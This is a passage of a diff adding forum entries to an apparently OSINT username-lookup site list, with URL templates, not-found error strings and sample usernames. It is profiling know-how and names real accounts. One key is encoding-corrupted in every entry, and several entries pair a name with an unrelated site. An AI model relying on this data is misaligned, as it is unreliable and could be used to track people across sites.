+ "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://region13.ucoz.ru/index/8-0-{}", + "urlMain": "https://region13.ucoz.ru", + "usernameON": "VVS15081", + "bad_site": "" + }, + "Forum_reiki-healing": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://reiki-healing-l.org/index/8-0-{}", + "urlMain": "http://reiki-healing-l.org", + "usernameON": "YaIrina1993", + "bad_site": "" + }, + "Forum_reklama-kiev": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "url": "https://reklama-kiev.at.ua/index/8-0-{}", + "urlMain": "https://reklama-kiev.at.ua", + "usernameON": "dsgvolia", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_relationlibre": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://relationlibre.com/participant/{}/", + "urlMain": "https://relationlibre.com", + "usernameON": "laeti", + "bad_site": "" + }, + "Forum_relax-kei": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://relax-kei.ucoz.ru/index/8-0-{}", + "urlMain": "https://relax-kei.ucoz.ru", + "usernameON": "ztaletnted", + "bad_site": "" + }, + "Forum_religion": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "Aucun membre trouvé pour ce critère de recherche", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum-religion.org/memberlist.php?username={}", + "urlMain": "https://forum-religion.org", + "usernameON": "Georges86", + "bad_site": "" + }, + "Forum_religion_s": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://religion.ucoz.ru/index/8-0-{}", + "urlMain": "https://religion.ucoz.ru", + "usernameON": "ArthurHip", + "bad_site": "" + }, + "Forum_rem-tv": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rem-tv.at.ua/index/8-0-{}", + "urlMain": "https://rem-tv.at.ua", + "usernameON": "fanttom", + "bad_site": "" + }, + "Forum_remont-lipetsk": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remont-lipetsk.3dn.ru/index/8-0-{}", + "urlMain": "https://remont-lipetsk.3dn.ru", + "usernameON": "mattmabwerce", + "bad_site": "" + }, + "Forum_remsanteh": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://remsanteh.borda.ru/?32-{}", + "urlMain": "https://remsanteh.borda.ru", + "usernameON": "aleyusha", + "bad_site": "" + }, + "Forum_remzona-ekb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://remzona-ekb.ucoz.ru/index/8-0-{}", + "urlMain": "https://remzona-ekb.ucoz.ru", + "usernameON": "REMZONA", + "bad_site": "" + }, + "Forum_render_otoy": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "Information", + "errorMsg2": "Sorry, ", + "errorMsg3": "banned from this board", + "errorTyp��": "message", + "url": "https://render.otoy.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "https://render.otoy.com/", + "usernameON": "grazieromi", + "bad_site": "" + }, + "Forum_repolitics": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://repolitics.com/forums/search/?q={}&quick=1&type=core_members", + "urlMain": "https://repolitics.com", + "usernameON": "Zeitgeist", + "bad_site": "" + }, + "Forum_reptile": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не выбран", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.reptile.ru/forum/member.php?action=viewpro&member={}", + "urlMain": "https://www.reptile.ru", + "usernameON": "Zoofond", + "bad_site": "" + }, + "Forum_reptileforums": { + "country": "🇬🇧", + "country_klas": "GB", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.reptileforums.co.uk/members/?username={}", + "urlMain": "https://www.reptileforums.co.uk", + "usernameON": "malc", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_res-publica": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://res-publica.ucoz.org/index/8-0-{}", + "urlMain": "https://res-publica.ucoz.org", + "usernameON": "PUBLIUS", + "bad_site": "" + }, + "Forum_reseau-js": { + "country": "🇫🇷", + "country_klas": "FR", + "errorMsg": "0 résultat", + "errorMsg2": "Veuillez patienter", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.reseau-js.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.reseau-js.com", + "usernameON": "loup", + "bad_site": "" + }, + "Forum_reseau-naturiste": { + "country": "🇫🇷", + "country_klas": "FR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.reseau-naturiste.org/user/{}", + "urlMain": "https://www.reseau-naturiste.org/", + "usernameON": "Sephora", + "bad_site": "" + }, + "Forum_respecta": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.respecta.net/search/?q={}&quick=1&type=core_members", + "urlMain": "https://forum.respecta.net/", + "usernameON": "NBN93", + "bad_site": "" + }, + "Forum_resto_clan": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://resto.clan.su/index/8-0-{}", + "urlMain": "https://resto.clan.su", + "usernameON": "Riminy", + "bad_site": "" + }, + "Forum_retrievertraining": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.retrievertraining.net/members/?username={}", + "urlMain": "https://www.retrievertraining.net", + "usernameON": "johndbarrow", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rewar": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rewar.me/index/8-0-{}", + "urlMain": "https://rewar.me/", + "usernameON": "mashery", + "bad_site": "" + }, + "Forum_rexmill": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rexmill.ucoz.ru/index/8-0-{}", + "urlMain": "https://rexmill.ucoz.ru/", + "usernameON": "mun686", + "bad_site": "" + }, + "Forum_rezzoclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.rezzoclub.ru/index/8-0-{}", + "urlMain": "http://www.rezzoclub.ru", + "usernameON": "Rapidrezzo", + "bad_site": "" + }, + "Forum_rg_myqip": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rg.myqip.ru/?32-{}", + "urlMain": "https://rg.myqip.ru", + "usernameON": "marii", + "bad_site": "" + }, + "Forum_rhytmic": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://rhytmic.borda.ru/?32-{}", + "urlMain": "https://rhytmic.borda.ru", + "usernameON": "mammy", + "bad_site": "" + }, + "Forum_ribalka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://ribalka.ucoz.org/index/8-0-{}", + "urlMain": "http://ribalka.ucoz.org", + "usernameON": "Андрей0508", + "bad_site": "" + }, + "Forum_richelieu": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rieltori.narod2.ru/index/8-0-{}", + "urlMain": "http://rieltori.narod2.ru", + "usernameON": "natayovzhik", + "bad_site": "" + }, + "Forum_riga-luna": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://riga-luna.ucoz.ru/index/8-0-{}", + "urlMain": "https://riga-luna.ucoz.ru", + "usernameON": "Talahassy", + "bad_site": "" + }, + "Forum_rima-pendzhieva": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rima-pendzhieva.ucoz.ru/index/8-0-{}", + "urlMain": "https://rima-pendzhieva.ucoz.ru", + "usernameON": "morozov2112", + "bad_site": "" + }, + "Forum_rio4": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rio4.ucoz.ru/index/8-0-{}", + "urlMain": "https://rio4.ucoz.ru/", + "usernameON": "Fakskaxip", + "bad_site": "" + }, + "Forum_rkls76": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rkls76.ucoz.ru/index/8-0-{}", + "urlMain": "https://rkls76.ucoz.ru", + "usernameON": "JosephBon", + "bad_site": "" + }, + "Forum_rks": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Извините, такого пользователя не существует ", + "errorMsg2": " :: ", + "errorTyp��": "message", + "url": "https://forum.rks.kr.ua/profile.php?mode=viewprofile&u={}", + "urlMain": "https://forum.rks.kr.ua", + "usernameON": "Mistika24", + "bad_site": "" + }, + "Forum_rllmukforum": { + "country": "🇬🇧", + "country_klas": "GB", + "errorMsg": "0 results", + "errorMsg2": "Sorry", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.rllmukforum.com/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.rllmukforum.com", + "usernameON": "yakumo", + "bad_site": "" + }, + "Forum_rmmedia": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Указанный пользователь не найден. Пожалуйста, введите другое имя.", + "errorMsg2": "<title>Полезные пользователи | Rmmedia.ru", + "errorMsg3": "Пожалуйста, подождите", + "errorTyp��": "message", + "url": "https://rmmedia.ru/members/?username={}", + "urlMain": "https://rmmedia.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_rmrp": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rmrp.ru/members/?username={}", + "urlMain": "https://forum.rmrp.ru", + "usernameON": "alqoile", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadbikereview": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.roadbikereview.com/members/?username={}", + "urlMain": "https://www.roadbikereview.com", + "usernameON": "finx", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_roadcontrol_BLOCK_RU_IP": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Подходящих тем или сообщений не найдено", + "errorMsg2": "Информация", + "errorMsg3": "page_pageNotFound", + "errorTyp��": "message", + "url": "https://roadcontrol.org/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://roadcontrol.org", + "usernameON": "%D0%90ndrew", + "bad_site": "" + }, + "Forum_rock-metalwave": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rock-metal-wave.ru/index/8-0-{}", + "urlMain": "https://rock-metal-wave.ru", + "usernameON": "0919swdsnb", + "bad_site": "" + }, + "Forum_rodgers": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://rodgersforum.borda.ru/?32-{}", + "urlMain": "https://rodgersforum.borda.ru", + "usernameON": "hata1979", + "bad_site": "" + }, + "Forum_rodniki": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rodniki.do.am/index/8-0-{}", + "urlMain": "http://rodniki.do.am", + "usernameON": "N278", + "bad_site": "" + }, + "Forum_rodnovira": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rodnovira.ucoz.ru/index/8-0-{}", + "urlMain": "https://rodnovira.ucoz.ru", + "usernameON": "vioooila", + "bad_site": "" + }, + "Forum_rodoslav": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>", + "errorTyp��": "message", + "url": "http://www.rohitab.com/discuss/index.php?app=core&module=search&do=search&andor_type=&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=0", + "urlMain": "http://www.rohitab.com", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Forum_rokslide": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rokslide.com/forums/members/?username={}", + "urlMain": "https://rokslide.com", + "usernameON": "ukisan", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rollerclub": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorMsg3": "Срок регистрации домена истек", + "errorTyp��": "message", + "url": "http://forum.rollerclub.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "http://forum.rollerclub.ru", + "usernameON": "snb", + "bad_site": "" + }, + "Forum_Rollitup": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.rollitup.org/members/?username={}", + "urlMain": "https://www.rollitup.org", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_romhacking": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://romhacking.ru/index/8-0-{}", + "urlMain": "https://romhacking.ru", + "usernameON": "debbietk1", + "bad_site": "" + }, + "Forum_romkaq": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://romkaq.ucoz.ru/index/8-0-{}", + "urlMain": "http://romkaq.ucoz.ru", + "usernameON": "luntik333vlz", + "bad_site": "" + }, + "Forum_root_cern": { + "country": "🇪🇺", + "country_klas": "EU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://root-forum.cern.ch/u/{}/summary", + "urlMain": "https://root-forum.cern.ch", + "usernameON": "bellenot", + "bad_site": "" + }, + "Forum_rosalinux": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Информация", + "errorMsg2": "Подходящих тем или сообщений не найдено.", + "errorMsg3": "Вы не можете произвести поиск сразу после предыдущего", + "errorTyp��": "message", + "url": "https://forum.rosalinux.ru/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rosalinux.ru", + "comments": "cf", + "usernameON": "Kelpee", + "bad_site": "" + }, + "Forum_rosen": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://forum.rosen.com/u/{}/summary", + "urlMain": "https://forum.rosen.com", + "usernameON": "rdu2018", + "bad_site": "" + }, + "Forum_roses": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://roses.ucoz.ru/index/8-0-{}", + "urlMain": "https://roses.ucoz.ru", + "usernameON": "Roses", + "bad_site": "" + }, + "Forum_rostov": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://forum-rostov.ucoz.org/index/8-0-{}", + "urlMain": "https://forum-rostov.ucoz.org", + "usernameON": "Надя", + "bad_site": "" + }, + "Forum_rotarusofi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rotarusofi.ucoz.ru/index/8-0-{}", + "urlMain": "https://rotarusofi.ucoz.ru", + "usernameON": "Zvezdochka", + "bad_site": "" + }, + "Forum_rottweiler": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "url": "http://rottweiler.ucoz.ru/index/8-0-{}", + "urlMain": "http://rottweiler.ucoz.ru/", + "usernameON": "Лекс2003", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_router": { + "country": "🇨🇦", + "country_klas": "CA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.routerforums.com/members/?username={}", + "urlMain": "https://www.routerforums.com", + "usernameON": "difalkner", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_royalcaribbeanblog": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.royalcaribbeanblog.com/boards/index.php?/search/&q={}&quick=1&type=core_members", + "urlMain": "https://www.royalcaribbeanblog.com/", + "usernameON": "mamashark", + "bad_site": "" + }, + "Forum_rpg_net": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rpg.net/members/?username={}", + "urlMain": "https://forum.rpg.net", + "usernameON": "muddypaw", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgcodex": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rpgcodex.net/forums/members/?username={}", + "urlMain": "https://rpgcodex.net", + "usernameON": "jed", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rpgnuke": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Пожалуйста, подождите", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://forum.rpgnuke.ru/search/?q={}&type=core_members", + "urlMain": "https://forum.rpgnuke.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Forum_Rt20_getbb": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://www.rt20.getbb.ru/search.php?keywords=&terms=all&author=Tekumze111", + "urlMain": "http://www.rt20.getbb.ru", + "usernameON": "vevk", + "comments": "RUblock", + "bad_site": "" + }, + "Forum_ru-xbox": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ru-xbox.ru/index/8-0-{}", + "urlMain": "https://ru-xbox.ru", + "usernameON": "D1mkanx", + "comments": "Oplata", + "bad_site": "" + }, + "Forum_ru_minecraft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://ru-minecraft.ru/user/{}", + "urlMain": "https://ru-minecraft", + "usernameON": "dedepete", + "bad_site": "" + }, + "Forum_rudtp": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.rudtp.ru/members/?username={}", + "urlMain": "https://forum.rudtp.ru/", + "usernameON": "irma190", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_rugby": { + "country": "🇮🇹", + "country_klas": "IT", + "errorMsg": "Nessun argomento o messaggio con", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://forum.rugby.it/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rugby.it", + "usernameON": "admin", + "comments": "super", + "bad_site": 1 + }, + "Forum_rumyantsevo": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rurip.ucoz.ru/index/8-0-{}", + "urlMain": "https://rurip.ucoz.ru", + "usernameON": "lomaempochtu", + "bad_site": "" + }, + "Forum_rus-sv-relig": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rus-sv.ucoz.ru/index/8-0-{}", + "urlMain": "https://rus-sv.ucoz.ru/", + "usernameON": "%D0%9E%D0%BB%D0%B0", + "bad_site": "" + }, + "Forum_rus_pravda": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://русскаяправда.su/index/8-0-{}", + "urlMain": "http://русскаяправда.su", + "usernameON": "PashaAlexpit", + "bad_site": "" + }, + "Forum_rusartknife": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rushistory.3dn.ru/index/8-0-{}", + "urlMain": "https://rushistory.3dn.ru", + "usernameON": "uesterr", + "bad_site": "" + }, + "Forum_rusich_ua": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://rusich.at.ua/index/8-0-{}", + "urlMain": "https://rusich.at.ua", + "usernameON": "gh1990", + "bad_site": "" + }, + "Forum_ruskeys": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr><td colspan", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://ruskeys.forum24.ru/?32-{}", + "urlMain": "https://ruskeys.forum24.ru/", + "usernameON": "aboc4", + "bad_site": "" + }, + "Forum_ruspatriot": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://ruspatriot.ucoz.ru/index/8-0-{}", + "urlMain": "https://ruspatriot.ucoz.ru/", + "usernameON": "emailomaempochty", + "bad_site": "" + }, + "Forum_russiainwar": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russian-france.ru/index/8-0-{}", + "urlMain": "http://russian-france.ru", + "usernameON": "Airin", + "bad_site": "" + }, + "Forum_russianskyeterriers": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://russims.ru/index/8-0-{}", + "urlMain": "http://russims.ru", + "usernameON": "Nikolette", + "bad_site": "" + }, + "Forum_russkie": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://russkie.ucoz.ru/index/8-0-{}", + "urlMain": "https://russkie.ucoz.ru", + "usernameON": "russkie", + "bad_site": "" + }, + "Forum_rvnetwork": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "0 results", + "errorMsg2": "Please wait", + "errorTyp��": "message", + "url": "https://www.rvnetwork.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://www.rvnetwork.com/", + "usernameON": "GeorgiaHybrid", + "bad_site": "" + }, + "Forum_rwg_cc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://rwg.cc/search/?q={}&quick=1&type=core_members", + "urlMain": "https://rwg.cc", + "usernameON": "Mike", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Forum_rx7fb": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Information", + "errorMsg2": "Please wait", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "http://www.rx7fb.com/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "urlMain": "http://www.rx7fb.com", + "usernameON": "Hellramsden", + "bad_site": "" + }, + "Forum_ryazandog": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "[а-яА-Я]", + "errorMsg": "профиль забанен", + "errorMsg2": "tr>403 Forbidden", + "errorTyp��": "message", + "url": "https://rybnoe.net/index/8-0-{}", + "urlMain": "https://rybnoe.net", + "usernameON": "alavatsky", + "bad_site": "", + "exclusion": "\\W" + }, + "Forum_rzn": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://forum.rzn.info/search.php?keywords=&terms=all&author={}", + "urlMain": "https://forum.rzn.info", + "usernameON": "Williamhar", + "bad_site": "" + }, + "Forum_rzngmu": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://rzngmu.ru/index/8-0-{}", + "urlMain": "http://rzngmu.ru/", + "usernameON": "artem300", + "bad_site": "" + }, + "Forum_s-kh": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.s-kh.ru/index/8-0-{}", + "urlMain": "http://www.s-kh.ru", + "usernameON": "fillkenna", + "bad_site": "" + }, + "Forum_s4me": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.s4me.info/members/?username={}", + "urlMain": "https://www.s4me.info", + "usernameON": "adrian", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Forum_s7staff": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "К сожалению", + "errorMsg2": "| Cloudflare", + "errorTyp��": "message", + "url": "https://s7staff.kamrbb.ru/?x=find&f={}&type=topics&nick=on#top", + "urlMain": "https://s7staff.kamrbb.ru", + "usernameON": "yadn", + "bad_site": "" + }, + "Forum_sabnzbd": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": 